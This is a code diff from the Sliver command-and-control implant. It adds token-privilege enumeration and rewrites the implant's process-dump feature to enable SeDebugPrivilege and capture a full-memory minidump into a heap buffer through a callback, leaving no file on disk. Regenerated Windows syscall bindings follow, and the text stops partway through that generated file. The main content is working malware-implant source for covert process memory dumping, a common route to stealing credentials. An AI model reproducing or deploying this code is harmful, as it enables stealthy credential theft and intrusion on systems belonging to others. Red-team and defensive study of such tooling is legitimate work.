func getProcessIntegrityLevel(processToken windows.Token) (string, error) {
// A place to put the size of the token integrity information
var tokenIntegrityBufferSize uint32
// Determine the integrity of the process
windows.GetTokenInformation(processToken, windows.TokenIntegrityLevel, nil, 0, &tokenIntegrityBufferSize)
if tokenIntegrityBufferSize < 4 {
// {{if .Config.Debug}}
log.Println("TokenIntegrityBuffer is too small (must be at least 4 bytes)")
// {{end}}
return "Unknown", nil
}
tokenIntegrityBuffer := make([]byte, tokenIntegrityBufferSize)
err := windows.GetTokenInformation(processToken,
windows.TokenIntegrityLevel,
&tokenIntegrityBuffer[0],
tokenIntegrityBufferSize,
&tokenIntegrityBufferSize,
)
if err != nil {
// {{if .Config.Debug}}
log.Println("Error in call to GetTokenInformation (integrity): ", err)
// {{end}}
return "", err
}
/*
When calling GetTokenInformation with a type of TokenIntegrityLevel, the structure we get back
is a TOKEN_MANDATORY_LABEL (https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-token_mandatory_label)
which has one SID_AND_ATTRIBUTES structure (https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-sid_and_attributes)
We need the last 4 bytes (uint32) from the structure because that contains the attributes. The attributes
tell us what privilege level we are operating at.
*/
var privilegeLevel uint32 = binary.LittleEndian.Uint32(tokenIntegrityBuffer[tokenIntegrityBufferSize-4:])
if privilegeLevel < SECURITY_MANDATORY_LOW_RID {
return "Untrusted", nil
} else if privilegeLevel < SECURITY_MANDATORY_MEDIUM_RID {
return "Low", nil
} else if privilegeLevel >= SECURITY_MANDATORY_MEDIUM_RID && privilegeLevel < SECURITY_MANDATORY_HIGH_RID {
return "Medium", nil
} else if privilegeLevel >= SECURITY_MANDATORY_HIGH_RID {
return "High", nil
}
return "Unknown", nil
}
func lookupPrivilegeNameByLUID(luid uint64) (string, string, error) {
/*
We will need the LookupPrivilegeNameW and LookupPrivilegeDisplayNameW functions
https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupprivilegenamew
https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupprivilegedisplaynamew
Defined these syscalls in implant/sliver/syscalls/syscalls_windows.go and generated them with
mkwinsyscall, so we are good to go.
mkwinsyscall -output zsyscalls_windows.go syscalls_windows.go
*/
// Allocate 256 wide unicode characters (uint16) for the both names (255 characters plus a null terminator)
nameBuffer := make([]uint16, 256)
nameBufferSize := uint32(len(nameBuffer))
displayNameBuffer := make([]uint16, 256)
displayNameBufferSize := uint32(len(displayNameBuffer))
// A blank string for the system name tells the call to use the local machine
systemName := ""
/*
A language ID that gets returned from LookupPrivilegeDisplayNameW
We do not need it for anything, but we still need to provide it
*/
var langID uint32
err := syscalls.LookupPrivilegeNameW(systemName, &luid, &nameBuffer[0], &nameBufferSize)
if err != nil {
return "", "", err
}
err = syscalls.LookupPrivilegeDisplayNameW(systemName, &nameBuffer[0], &displayNameBuffer[0], &displayNameBufferSize, &langID)
if err != nil {
// We already got the privilege name, so we might as well return that
return syscall.UTF16ToString(nameBuffer), "", err
}
return syscall.UTF16ToString(nameBuffer), syscall.UTF16ToString(displayNameBuffer), nil
}
func GetPrivs() ([]PrivilegeInfo, string, string, error) {
// A place to store the process token
var tokenHandle windows.Token
// Process integrity
var integrity string
// The current process name
var processName string
// A place to put the size of the token information
var tokenInfoBufferSize uint32
// Get a handle for the current process
currentProcHandle, err := windows.GetCurrentProcess()
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not get a handle for the current process: ", err)
// {{end}}
return nil, integrity, processName, err
}
// Get the PID for the current process
sessionPID, err := windows.GetProcessId(currentProcHandle)
// This error is not fatal. Worst case, we can display the PID from the registered session
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not get PID for current process: ", err)
// {{end}}
} else {
// Get process info for the current PID
processInformation, err := ps.FindProcess(int(sessionPID))
if err != nil {
// {{if .Config.Debug}}
log.Printf("Could not get process information for PID %d: %v\n", sessionPID, err)
// {{end}}
}
if processInformation != nil {
processName = processInformation.Executable()
}
}
// Get the process token from the current process
err = windows.OpenProcessToken(currentProcHandle, windows.TOKEN_QUERY, &tokenHandle)
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not open process token: ", err)
// {{end}}
return nil, integrity, processName, err
}
// Get the size of the token information buffer so we know how large of a buffer to allocate
// This produces an error about a data area passed to the syscall being too small, but
// we do not care about that because we just want to know how big of a buffer to make
windows.GetTokenInformation(tokenHandle, windows.TokenPrivileges, nil, 0, &tokenInfoBufferSize)
// Make the buffer and get token information
// Using a bytes Buffer so that we can Read from it later
tokenInfoBuffer := bytes.NewBuffer(make([]byte, tokenInfoBufferSize))
err = windows.GetTokenInformation(tokenHandle,
windows.TokenPrivileges,
&tokenInfoBuffer.Bytes()[0],
uint32(tokenInfoBuffer.Len()),
&tokenInfoBufferSize,
)
if err != nil {
// {{if .Config.Debug}}
log.Println("Error in call to GetTokenInformation (privileges): ", err)
// {{end}}
return nil, integrity, processName, err
}
// The first 32 bits is the number of privileges in the structure
var privilegeCount uint32
err = binary.Read(tokenInfoBuffer, binary.LittleEndian, &privilegeCount)
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not read the number of privileges from the token information.")
// {{end}}
return nil, integrity, processName, err
}
/*
The remaining bytes contain the privileges themselves
LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY]
Structure of the array: https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-luid_and_attributes
*/
privInfo := make([]PrivilegeInfo, int(privilegeCount))
for index := 0; index < int(privilegeCount); index++ {
// Iterate over the privileges and make sense of them
// In case of errors, return what we have so far and the error
// LUIDs consist of a DWORD and a LONG
var luid uint64
// Attributes are up to 32 one bit flags, so a uint32 is good for that
var attributes uint32
var currentPrivInfo PrivilegeInfo
// Read the LUID
err = binary.Read(tokenInfoBuffer, binary.LittleEndian, &luid)
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not read the LUID from the binary stream: ", err)
// {{end}}
return privInfo, integrity, processName, err
}
// Read the attributes
err = binary.Read(tokenInfoBuffer, binary.LittleEndian, &attributes)
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not read the attributes from the binary stream: ", err)
// {{end}}
return privInfo, integrity, processName, err
}
currentPrivInfo.Name, currentPrivInfo.Description, err = lookupPrivilegeNameByLUID(luid)
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not get privilege info based on the LUID: ", err)
// {{end}}
return privInfo, integrity, processName, err
}
// Figure out the attributes
currentPrivInfo.EnabledByDefault = (attributes & windows.SE_PRIVILEGE_ENABLED_BY_DEFAULT) > 0
currentPrivInfo.UsedForAccess = (attributes & windows.SE_PRIVILEGE_USED_FOR_ACCESS) > 0
currentPrivInfo.Enabled = (attributes & windows.SE_PRIVILEGE_ENABLED) > 0
currentPrivInfo.Removed = (attributes & windows.SE_PRIVILEGE_REMOVED) > 0
privInfo[index] = currentPrivInfo
}
// Get the process integrity before we leave
integrity, err = getProcessIntegrityLevel(tokenHandle)
if err != nil {
return privInfo, "Could not determine integrity level", processName, err
}
return privInfo, integrity, processName, nil
}
+213 -25
View File
@@ -20,8 +20,6 @@ package procdump
import (
"fmt"
"io/ioutil"
//{{if .Config.Debug}}
"log"
//{{end}}
@@ -31,17 +29,56 @@ import (
"github.com/bishopfox/sliver/implant/sliver/evasion"
// {{end}}
// {{end}}
"os"
"bytes"
"encoding/binary"
"github.com/bishopfox/sliver/implant/sliver/priv"
"github.com/bishopfox/sliver/implant/sliver/syscalls"
"golang.org/x/sys/windows"
"unsafe"
)
const (
ModuleCallback = iota
ThreadCallback
ThreadExCallback
IncludeThreadCallback
IncludeModuleCallback
MemoryCallback
CancelCallback
WriteKernelMinidumpCallback
KernelMinidumpStatusCallback
RemoveMemoryCallback
IncludeVmRegionCallback
IoStartCallback
IoWriteAllCallback
IoFinishCallback
ReadMemoryFailureCallback
SecondaryFlagsCallback
IsProcessSnapshotCallback
VmStartCallback
VmQueryCallback
VmPreReadCallback
VmPostReadCallback
S_FALSE = 1
S_OK = 0
TRUE = 1
FALSE = 0
IncrementSize = 5 * 1024 * 1024
MiniDumpWithFullMemory = 0x00000002
)
var bytesRead uint32 = 0
type WindowsDump struct {
data []byte
}
type outDump struct {
outPtr uintptr
}
func (d *WindowsDump) Data() []byte {
return d.data
}
@@ -50,7 +87,7 @@ func dumpProcess(pid int32) (ProcessDump, error) {
var lpTargetHandle windows.Handle
res := &WindowsDump{}
if err := priv.SePrivEnable("SeDebugPrivilege"); err != nil {
return res, fmt.Errorf("Could not set SeDebugPrivilege on", pid)
return res, err
}
hProc, err := windows.OpenProcess(syscalls.PROCESS_DUP_HANDLE, false, uint32(pid))
@@ -68,9 +105,7 @@ func dumpProcess(pid int32) (ProcessDump, error) {
// {{end}}
return res, err
}
if err != nil {
return res, err
}
if hProc != 0 {
return minidump(uint32(pid), lpTargetHandle)
}
@@ -91,35 +126,188 @@ func minidump(pid uint32, proc windows.Handle) (ProcessDump, error) {
}
// {{end}}
// {{end}}
// TODO: find a better place to store the dump file
f, err := ioutil.TempFile("", "")
heapHandle, err := syscalls.GetProcessHeap()
if err != nil {
//{{if .Config.Debug}}
log.Println("Failed to create temp file:", err)
//{{end}}
return dump, err
}
procMemCounters := syscalls.ProcessMemoryCounters{}
sizeOfMemCounters := uint32(unsafe.Sizeof(procMemCounters))
err = syscalls.GetProcessMemoryInfo(proc, &procMemCounters, sizeOfMemCounters)
if err != nil {
// {{if .Config.Debug}}
log.Printf("GetProcessMemoryInfo failed: %s\n", err)
// {{end}}
return dump, err
}
heapSize := procMemCounters.WorkingSetSize + IncrementSize
dumpBuffer, err := syscalls.HeapAlloc(heapHandle, 0x00000008, uintptr(heapSize))
if err != nil {
return dump, err
}
stdOutHandle := f.Fd()
err = syscalls.MiniDumpWriteDump(proc, pid, stdOutHandle, 3, 0, 0, 0)
if err == nil {
data, err := ioutil.ReadFile(f.Name())
dump.data = data
if err != nil {
//{{if .Config.Debug}}
log.Println("ReadFile failed:", err)
//{{end}}
return dump, err
}
os.Remove(f.Name())
} else {
outData := outDump{
outPtr: dumpBuffer,
}
callbackInfo := MiniDumpCallbackInformation{
CallbackRoutine: windows.NewCallback(minidumpCallback),
CallbackParam: uintptr(unsafe.Pointer(&outData)),
}
err = syscalls.MiniDumpWriteDump(
proc,
pid,
0,
MiniDumpWithFullMemory,
0,
0,
uintptr(unsafe.Pointer(&callbackInfo)),
)
if err != nil {
//{{if .Config.Debug}}
log.Println("Minidump syscall failed:", err)
//{{end}}
return dump, err
}
outBuff := make([]byte, bytesRead)
outBuffAddr := uintptr(unsafe.Pointer(&outBuff[0]))
syscalls.RtlCopyMemory(outBuffAddr, outData.outPtr, bytesRead)
err = syscalls.HeapFree(heapHandle, 0, outData.outPtr)
if err != nil {
// {{if .Config.Debug}}
log.Printf("HeapFree failed: \n", err)
// {{end}}
return dump, err
}
dump.data = outBuff
return dump, nil
}
type MiniDumpIOCallback struct {
Handle uintptr
Offset uint64
Buffer uintptr
BufferBytes uint32
}
type MiniDumpCallbackInput struct {
ProcessId uint32
ProcessHandle uintptr
CallbackType uint32
Io MiniDumpIOCallback
}
type MiniDumpCallbackOutput struct {
Status int32
}
type MiniDumpCallbackInformation struct {
CallbackRoutine uintptr
CallbackParam uintptr
}
func getCallbackInput(callbackInputPtr uintptr) (*MiniDumpCallbackInput, error) {
callbackInput := MiniDumpCallbackInput{}
ioCallback := MiniDumpIOCallback{}
bufferSize := unsafe.Sizeof(callbackInput)
data := make([]byte, bufferSize)
dataPtr := uintptr(unsafe.Pointer(&data[0]))
syscalls.RtlCopyMemory(dataPtr, callbackInputPtr, uint32(bufferSize))
buffReader := bytes.NewReader(data)
err := binary.Read(buffReader, binary.LittleEndian, &callbackInput.ProcessId)
if err != nil {
return nil, err
}
var procHandle uint64
err = binary.Read(buffReader, binary.LittleEndian, &procHandle)
if err != nil {
return nil, err
}
callbackInput.ProcessHandle = uintptr(procHandle)
err = binary.Read(buffReader, binary.LittleEndian, &callbackInput.CallbackType)
if err != nil {
return nil, err
}
var ioHandle uint64
err = binary.Read(buffReader, binary.LittleEndian, &ioHandle)
if err != nil {
return nil, err
}
ioCallback.Handle = uintptr(ioHandle)
err = binary.Read(buffReader, binary.LittleEndian, &ioCallback.Offset)
if err != nil {
return nil, err
}
var ioBuffer uint64
err = binary.Read(buffReader, binary.LittleEndian, &ioBuffer)
if err != nil {
return nil, err
}
ioCallback.Buffer = uintptr(ioBuffer)
err = binary.Read(buffReader, binary.LittleEndian, &ioCallback.BufferBytes)
if err != nil {
return nil, err
}
callbackInput.Io = ioCallback
return &callbackInput, nil
}
func minidumpCallback(callbackParam uintptr, callbackInputPtr uintptr, callbackOutput *MiniDumpCallbackOutput) uintptr {
callbackInput, err := getCallbackInput(callbackInputPtr)
if err != nil {
// {{if .Config.Debug}}
log.Printf("getCallbackInput failed: %s\n", err.Error())
// {{end}}
return FALSE
}
switch callbackInput.CallbackType {
case IoStartCallback:
callbackOutput.Status = S_FALSE
case IoWriteAllCallback:
callbackOutput.Status = S_OK
outData := (*outDump)(unsafe.Pointer(callbackParam))
procHeap, err := syscalls.GetProcessHeap()
if err != nil {
// {{if .Config.Debug}}
log.Printf("minidumpCallback GetProcessHeap failed: %s\n", err.Error())
// {{end}}
return FALSE
}
currentBuffSize, err := syscalls.HeapSize(procHeap, 0, outData.outPtr)
if err != nil {
// {{if .Config.Debug}}
log.Printf("minidumpCallback HeapSize failed: %s\n", err.Error())
// {{end}}
return FALSE
}
bytesAndOffset := callbackInput.Io.Offset + uint64(callbackInput.Io.BufferBytes)
if bytesAndOffset >= uint64(currentBuffSize) {
increasedSize := IncrementSize
if bytesAndOffset <= uint64(currentBuffSize*2) {
increasedSize = int(currentBuffSize) * 2
} else {
increasedSize += int(bytesAndOffset)
}
outData.outPtr, err = syscalls.HeapReAlloc(procHeap, 0, outData.outPtr, uintptr(increasedSize))
if err != nil {
// {{if .Config.Debug}}
log.Printf("minidumpCallback HeapReAlloc failed: %s\n", err.Error())
// {{end}}
return FALSE
}
}
destination := outData.outPtr + uintptr(callbackInput.Io.Offset)
syscalls.RtlCopyMemory(destination, callbackInput.Io.Buffer, callbackInput.Io.BufferBytes)
bytesRead += callbackInput.Io.BufferBytes
case IoFinishCallback:
callbackOutput.Status = S_OK
default:
return TRUE
}
return TRUE
}
+2 -1
View File
@@ -257,7 +257,7 @@ func getRegisterSliver() *sliverpb.Envelope {
filename, err := os.Executable()
// Should not happen, but still...
if err != nil {
//TODO: build the absolute path to os.Args[0]
// TODO: build the absolute path to os.Args[0]
if 0 < len(os.Args) {
filename = os.Args[0]
} else {
@@ -287,6 +287,7 @@ func getRegisterSliver() *sliverpb.Envelope {
ReconnectInterval: uint32(transports.GetReconnectInterval() / time.Second),
ProxyURL: transports.GetProxyURL(),
PollInterval: uint32(transports.GetPollInterval() / time.Second),
ConfigID: "{{ .Config.ID }}",
})
if err != nil {
// {{if .Config.Debug}}
@@ -5,6 +5,8 @@ package syscalls
//sys InitializeProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwAttributeCount uint32, dwFlags uint32, lpSize *uintptr) (err error) = kernel32.InitializeProcThreadAttributeList
//sys GetProcessHeap() (procHeap windows.Handle, err error) = kernel32.GetProcessHeap
//sys HeapAlloc(hHeap windows.Handle, dwFlags uint32, dwBytes uintptr) (lpMem uintptr, err error) = kernel32.HeapAlloc
//sys HeapReAlloc(hHeap windows.Handle, dwFlags uint32, lpMem uintptr, dwBytes uintptr) (lpRes uintptr, err error) = kernel32.HeapReAlloc
//sys HeapSize(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (res uint32, err error) = kernel32.HeapSize
//sys UpdateProcThreadAttribute(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwFlags uint32, attribute uintptr, lpValue *uintptr, cbSize uintptr, lpPreviousValue uintptr, lpReturnSize *uintptr) (err error) = kernel32.UpdateProcThreadAttribute
//sys CreateProcess(appName *uint16, commandLine *uint16, procSecurity *windows.SecurityAttributes, threadSecurity *windows.SecurityAttributes, inheritHandles bool, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) = kernel32.CreateProcessW
//sys VirtualAllocEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flAllocationType uint32, flProtect uint32) (addr uintptr, err error) = kernel32.VirtualAllocEx
@@ -35,3 +37,9 @@ package syscalls
//sys SelectObject(hdc windows.Handle, h windows.Handle) (HGDIOBJ windows.Handle, err error) = Gdi32.SelectObject
//sys BitBlt(hdc windows.Handle, x uint32, y uint32, cx uint32, cy uint32, hdcSrc windows.Handle, x1 uint32, y1 uint32, rop int32) (BOOL int, err error) = Gdi32.BitBlt
//sys GetDIBits(hdc windows.Handle, hbm windows.Handle, start uint32, cLines uint32, lpvBits uintptr, lpbmi uintptr, usage int) (ret int, err error) = Gdi32.GetDIBits
//sys PssCaptureSnapshot(processHandle windows.Handle, captureFlags uint32, threadContextFlags uint32, snapshotHandle *windows.Handle) (err error) = kernel32.PssCaptureSnapshot
//sys RtlCopyMemory(dest uintptr, src uintptr, dwSize uint32) = ntdll.RtlCopyMemory
//sys GetProcessMemoryInfo(process windows.Handle, ppsmemCounters *ProcessMemoryCounters, cb uint32) (err error) = psapi.GetProcessMemoryInfo
//sys LookupPrivilegeNameW(systemName string, luid *uint64, buffer *uint16, size *uint32) (err error) = advapi32.LookupPrivilegeNameW
//sys LookupPrivilegeDisplayNameW(systemName string, privilegeName *uint16, buffer *uint16, size *uint32, languageId *uint32) (err error) = advapi32.LookupPrivilegeDisplayNameW
+47
View File
@@ -5,6 +5,40 @@ import (
)
const (
PSS_CAPTURE_NONE = iota
PSS_CAPTURE_VA_CLONE
PSS_CAPTURE_RESERVED_00000002
PSS_CAPTURE_HANDLES
PSS_CAPTURE_HANDLE_NAME_INFORMATION
PSS_CAPTURE_HANDLE_BASIC_INFORMATION
PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION
PSS_CAPTURE_HANDLE_TRACE
PSS_CAPTURE_THREADS
PSS_CAPTURE_THREAD_CONTEXT
PSS_CAPTURE_THREAD_CONTEXT_EXTENDED
PSS_CAPTURE_RESERVED_00000400
PSS_CAPTURE_VA_SPACE
PSS_CAPTURE_VA_SPACE_SECTION_INFORMATION
PSS_CAPTURE_IPT_TRACE
PSS_CAPTURE_RESERVED_00004000
PSS_CREATE_BREAKAWAY_OPTIONAL
PSS_CREATE_BREAKAWAY
PSS_CREATE_FORCE_BREAKAWAY
PSS_CREATE_USE_VM_ALLOCATIONS
PSS_CREATE_MEASURE_PERFORMANCE
PSS_CREATE_RELEASE_SECTION
CONTEXT_i386 = 0x10000
CONTEXT_i486 = 0x10000 // same as i386
CONTEXT_CONTROL = CONTEXT_i386 | 0x01 // SS:SP, CS:IP, FLAGS, BP
CONTEXT_INTEGER = CONTEXT_i386 | 0x02 // AX, BX, CX, DX, SI, DI
CONTEXT_SEGMENTS = CONTEXT_i386 | 0x0 // DS, ES, FS, GS
CONTEXT_FLOATING_POINT = CONTEXT_i386 | 0x08 // 387 state
CONTEXT_DEBUG_REGISTERS = CONTEXT_i386 | 0x10 // DB 0-3,6,7
CONTEXT_EXTENDED_REGISTERS = CONTEXT_i386 | 0x20 // cpu specific extensions
CONTEXT_FULL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS
CONTEXT_ALL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS | CONTEXT_EXTENDED_REGISTERS
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000
LOGON32_LOGON_INTERACTIVE = 2
LOGON32_LOGON_NETWORK = 3
@@ -84,6 +118,19 @@ type MONITORINFO struct {
DwFlags uint32
}
type ProcessMemoryCounters struct {
Cb uint32
PageFaultCount uint32
PeakWorkingSetSize int
WorkingSetSize int
QuotaPeakPagedPoolUsage int
QuotaPagedPoolUsage int
QuotaPeakNonPagedPoolUsage int
QuotaNonPagedPoolUsage int
PagefileUsage int
PeakPagefileUsage int
}
const (
CCHDEVICENAME = 32
CCHFORMNAME = 32
+288 -327
View File
@@ -19,6 +19,7 @@ const (
var (
errERROR_IO_PENDING error = syscall.Errno(errnoERROR_IO_PENDING)
errERROR_EINVAL error = syscall.EINVAL
)
// errnoErr returns common boxed Errno values, to prevent
@@ -26,7 +27,7 @@ var (
func errnoErr(e syscall.Errno) error {
switch e {
case 0:
return nil
return errERROR_EINVAL
case errnoERROR_IO_PENDING:
return errERROR_IO_PENDING
}
@@ -37,92 +38,235 @@ func errnoErr(e syscall.Errno) error {
}
var (
modkernel32 = windows.NewLazySystemDLL("kernel32.dll")
modDbgHelp = windows.NewLazySystemDLL("DbgHelp.dll")
modadvapi32 = windows.NewLazySystemDLL("advapi32.dll")
modUser32 = windows.NewLazySystemDLL("User32.dll")
modGdi32 = windows.NewLazySystemDLL("Gdi32.dll")
modKernel32 = windows.NewLazySystemDLL("Kernel32.dll")
modUser32 = windows.NewLazySystemDLL("User32.dll")
modadvapi32 = windows.NewLazySystemDLL("advapi32.dll")
modkernel32 = windows.NewLazySystemDLL("kernel32.dll")
modntdll = windows.NewLazySystemDLL("ntdll.dll")
modpsapi = windows.NewLazySystemDLL("psapi.dll")
procInitializeProcThreadAttributeList = modkernel32.NewProc("InitializeProcThreadAttributeList")
procGetProcessHeap = modkernel32.NewProc("GetProcessHeap")
procHeapAlloc = modkernel32.NewProc("HeapAlloc")
procUpdateProcThreadAttribute = modkernel32.NewProc("UpdateProcThreadAttribute")
procCreateProcessW = modkernel32.NewProc("CreateProcessW")
procVirtualAllocEx = modkernel32.NewProc("VirtualAllocEx")
procWriteProcessMemory = modkernel32.NewProc("WriteProcessMemory")
procVirtualProtectEx = modkernel32.NewProc("VirtualProtectEx")
procQueueUserAPC = modkernel32.NewProc("QueueUserAPC")
procDeleteProcThreadAttributeList = modkernel32.NewProc("DeleteProcThreadAttributeList")
procHeapFree = modkernel32.NewProc("HeapFree")
procCreateRemoteThread = modkernel32.NewProc("CreateRemoteThread")
procCreateThread = modkernel32.NewProc("CreateThread")
procGetExitCodeThread = modkernel32.NewProc("GetExitCodeThread")
procMiniDumpWriteDump = modDbgHelp.NewProc("MiniDumpWriteDump")
procImpersonateLoggedOnUser = modadvapi32.NewProc("ImpersonateLoggedOnUser")
procLogonUserW = modadvapi32.NewProc("LogonUserW")
procGetDC = modUser32.NewProc("GetDC")
procReleaseDC = modUser32.NewProc("ReleaseDC")
procCreateCompatibleDC = modGdi32.NewProc("CreateCompatibleDC")
procGetDesktopWindow = modUser32.NewProc("GetDesktopWindow")
procDeleteDC = modGdi32.NewProc("DeleteDC")
procBitBlt = modGdi32.NewProc("BitBlt")
procCreateCompatibleBitmap = modGdi32.NewProc("CreateCompatibleBitmap")
procCreateCompatibleDC = modGdi32.NewProc("CreateCompatibleDC")
procDeleteDC = modGdi32.NewProc("DeleteDC")
procDeleteObject = modGdi32.NewProc("DeleteObject")
procGetDIBits = modGdi32.NewProc("GetDIBits")
procSelectObject = modGdi32.NewProc("SelectObject")
procGlobalAlloc = modKernel32.NewProc("GlobalAlloc")
procGlobalFree = modKernel32.NewProc("GlobalFree")
procGlobalLock = modKernel32.NewProc("GlobalLock")
procGlobalUnlock = modKernel32.NewProc("GlobalUnlock")
procSelectObject = modGdi32.NewProc("SelectObject")
procBitBlt = modGdi32.NewProc("BitBlt")
procGetDIBits = modGdi32.NewProc("GetDIBits")
procGetDC = modUser32.NewProc("GetDC")
procGetDesktopWindow = modUser32.NewProc("GetDesktopWindow")
procReleaseDC = modUser32.NewProc("ReleaseDC")
procImpersonateLoggedOnUser = modadvapi32.NewProc("ImpersonateLoggedOnUser")
procLogonUserW = modadvapi32.NewProc("LogonUserW")
procLookupPrivilegeDisplayNameW = modadvapi32.NewProc("LookupPrivilegeDisplayNameW")
procLookupPrivilegeNameW = modadvapi32.NewProc("LookupPrivilegeNameW")
procCreateProcessW = modkernel32.NewProc("CreateProcessW")
procCreateRemoteThread = modkernel32.NewProc("CreateRemoteThread")
procCreateThread = modkernel32.NewProc("CreateThread")
procDeleteProcThreadAttributeList = modkernel32.NewProc("DeleteProcThreadAttributeList")
procGetExitCodeThread = modkernel32.NewProc("GetExitCodeThread")
procGetProcessHeap = modkernel32.NewProc("GetProcessHeap")
procHeapAlloc = modkernel32.NewProc("HeapAlloc")
procHeapFree = modkernel32.NewProc("HeapFree")
procHeapReAlloc = modkernel32.NewProc("HeapReAlloc")
procHeapSize = modkernel32.NewProc("HeapSize")
procInitializeProcThreadAttributeList = modkernel32.NewProc("InitializeProcThreadAttributeList")
procPssCaptureSnapshot = modkernel32.NewProc("PssCaptureSnapshot")
procQueueUserAPC = modkernel32.NewProc("QueueUserAPC")
procUpdateProcThreadAttribute = modkernel32.NewProc("UpdateProcThreadAttribute")
procVirtualAllocEx = modkernel32.NewProc("VirtualAllocEx")
procVirtualProtectEx = modkernel32.NewProc("VirtualProtectEx")
procWriteProcessMemory = modkernel32.NewProc("WriteProcessMemory")
procRtlCopyMemory = modntdll.NewProc("RtlCopyMemory")
procGetProcessMemoryInfo = modpsapi.NewProc("GetProcessMemoryInfo")
)
func InitializeProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwAttributeCount uint32, dwFlags uint32, lpSize *uintptr) (err error) {
r1, _, e1 := syscall.Syscall6(procInitializeProcThreadAttributeList.Addr(), 4, uintptr(unsafe.Pointer(lpAttributeList)), uintptr(dwAttributeCount), uintptr(dwFlags), uintptr(unsafe.Pointer(lpSize)), 0, 0)
func MiniDumpWriteDump(hProcess windows.Handle, pid uint32, hFile uintptr, dumpType uint32, exceptionParam uintptr, userStreamParam uintptr, callbackParam uintptr) (err error) {
r1, _, e1 := syscall.Syscall9(procMiniDumpWriteDump.Addr(), 7, uintptr(hProcess), uintptr(pid), uintptr(hFile), uintptr(dumpType), uintptr(exceptionParam), uintptr(userStreamParam), uintptr(callbackParam), 0, 0)
if r1 == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
err = errnoErr(e1)
}
return
}
func GetProcessHeap() (procHeap windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGetProcessHeap.Addr(), 0, 0, 0, 0)
procHeap = windows.Handle(r0)
if procHeap == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
func BitBlt(hdc windows.Handle, x uint32, y uint32, cx uint32, cy uint32, hdcSrc windows.Handle, x1 uint32, y1 uint32, rop int32) (BOOL int, err error) {
r0, _, e1 := syscall.Syscall9(procBitBlt.Addr(), 9, uintptr(hdc), uintptr(x), uintptr(y), uintptr(cx), uintptr(cy), uintptr(hdcSrc), uintptr(x1), uintptr(y1), uintptr(rop))
BOOL = int(r0)
if BOOL == 0 {
err = errnoErr(e1)
}
return
}
func HeapAlloc(hHeap windows.Handle, dwFlags uint32, dwBytes uintptr) (lpMem uintptr, err error) {
r0, _, e1 := syscall.Syscall(procHeapAlloc.Addr(), 3, uintptr(hHeap), uintptr(dwFlags), uintptr(dwBytes))
lpMem = uintptr(r0)
if lpMem == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
func CreateCompatibleBitmap(hdc windows.Handle, cx int, cy int) (HBITMAP windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procCreateCompatibleBitmap.Addr(), 3, uintptr(hdc), uintptr(cx), uintptr(cy))
HBITMAP = windows.Handle(r0)
if HBITMAP == 0 {
err = errnoErr(e1)
}
return
}
func UpdateProcThreadAttribute(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwFlags uint32, attribute uintptr, lpValue *uintptr, cbSize uintptr, lpPreviousValue uintptr, lpReturnSize *uintptr) (err error) {
r1, _, e1 := syscall.Syscall9(procUpdateProcThreadAttribute.Addr(), 7, uintptr(unsafe.Pointer(lpAttributeList)), uintptr(dwFlags), uintptr(attribute), uintptr(unsafe.Pointer(lpValue)), uintptr(cbSize), uintptr(lpPreviousValue), uintptr(unsafe.Pointer(lpReturnSize)), 0, 0)
func CreateCompatibleDC(hdc windows.Handle) (HDC windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procCreateCompatibleDC.Addr(), 1, uintptr(hdc), 0, 0)
HDC = windows.Handle(r0)
if HDC == 0 {
err = errnoErr(e1)
}
return
}
func DeleteDC(hdc windows.Handle) (BOOL uint32, err error) {
r0, _, e1 := syscall.Syscall(procDeleteDC.Addr(), 1, uintptr(hdc), 0, 0)
BOOL = uint32(r0)
if BOOL == 0 {
err = errnoErr(e1)
}
return
}
func DeleteObject(ho windows.Handle) (BOOL uint32, err error) {
r0, _, e1 := syscall.Syscall(procDeleteObject.Addr(), 1, uintptr(ho), 0, 0)
BOOL = uint32(r0)
if BOOL == 0 {
err = errnoErr(e1)
}
return
}
func GetDIBits(hdc windows.Handle, hbm windows.Handle, start uint32, cLines uint32, lpvBits uintptr, lpbmi uintptr, usage int) (ret int, err error) {
r0, _, e1 := syscall.Syscall9(procGetDIBits.Addr(), 7, uintptr(hdc), uintptr(hbm), uintptr(start), uintptr(cLines), uintptr(lpvBits), uintptr(lpbmi), uintptr(usage), 0, 0)
ret = int(r0)
if ret == 0 {
err = errnoErr(e1)
}
return
}
func SelectObject(hdc windows.Handle, h windows.Handle) (HGDIOBJ windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procSelectObject.Addr(), 2, uintptr(hdc), uintptr(h), 0)
HGDIOBJ = windows.Handle(r0)
if HGDIOBJ == 0 {
